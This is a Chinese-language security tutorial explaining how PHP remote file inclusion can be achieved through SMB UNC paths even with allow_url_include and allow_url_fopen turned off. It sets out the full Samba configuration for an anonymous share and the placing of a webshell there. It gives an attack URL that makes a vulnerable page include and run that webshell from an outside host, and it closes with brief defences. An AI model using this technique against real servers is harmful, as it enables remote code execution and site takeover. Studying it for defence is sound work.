通过SMB造成远程文件包含(双Off情况)
字数 852 2025-08-26 22:11:45
利用SMB协议绕过PHP远程文件包含(RFI)限制的技术分析
前言
本文详细讲解如何利用SMB协议绕过PHP的远程文件包含(RFI)限制,即使allow_url_include和allow_url_fopen都设置为"Off"的情况下也能实现攻击。
背景知识
PHP文件包含漏洞
PHP文件包含漏洞(RFI)允许攻击者包含远程服务器上的恶意文件,通常通过HTTP或FTP协议。现代PHP配置通常会禁用这些功能。
SMB协议
服务器消息块(SMB)协议是一种网络文件共享协议,允许计算机访问远程文件系统和资源。PHP在某些配置下仍允许通过SMB协议包含文件。
攻击原理
即使PHP配置中设置了:
allow_url_include = Offallow_url_fopen = Off
PHP仍然可能允许通过SMB协议包含远程文件,这为绕过RFI限制提供了可能。
攻击准备
1. 配置Samba服务器
安装Samba
apt-get install samba
创建共享目录
mkdir /var/www/html/pub/
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/
配置Samba
清空并重新配置/etc/samba/smb.conf:
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[ica]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
重启Samba服务
service smbd restart
2. 上传Webshell
将PHP webshell上传到Samba共享目录/var/www/html/pub/,例如box.php。
攻击实施
验证SMB共享可访问
在Windows中访问:
\\192.168.0.3\ica\
确认可以匿名访问且能看到webshell文件。
发起RFI攻击
构造包含SMB路径的URL:
http://vulnerable_application/page.php?page=\\192.168.0.3\ica\box.php
防御措施
-
禁用不必要的协议:
- 在php.ini中明确禁用SMB协议包含
-
输入验证:
- 严格验证用户输入的文件路径
- 禁止包含远程文件
-
文件包含白名单:
- 只允许包含特定目录下的文件
-
Samba服务器安全:
- 不要启用匿名访问
- 限制共享目录权限
-
更新PHP版本:
- 新版本PHP对文件包含有更严格的限制
总结
这种攻击方法利用了PHP对SMB协议的特殊处理,即使在严格的安全配置下也能实现远程文件包含。防御需要多层次的防护措施,包括PHP配置、输入验证和服务器安全配置。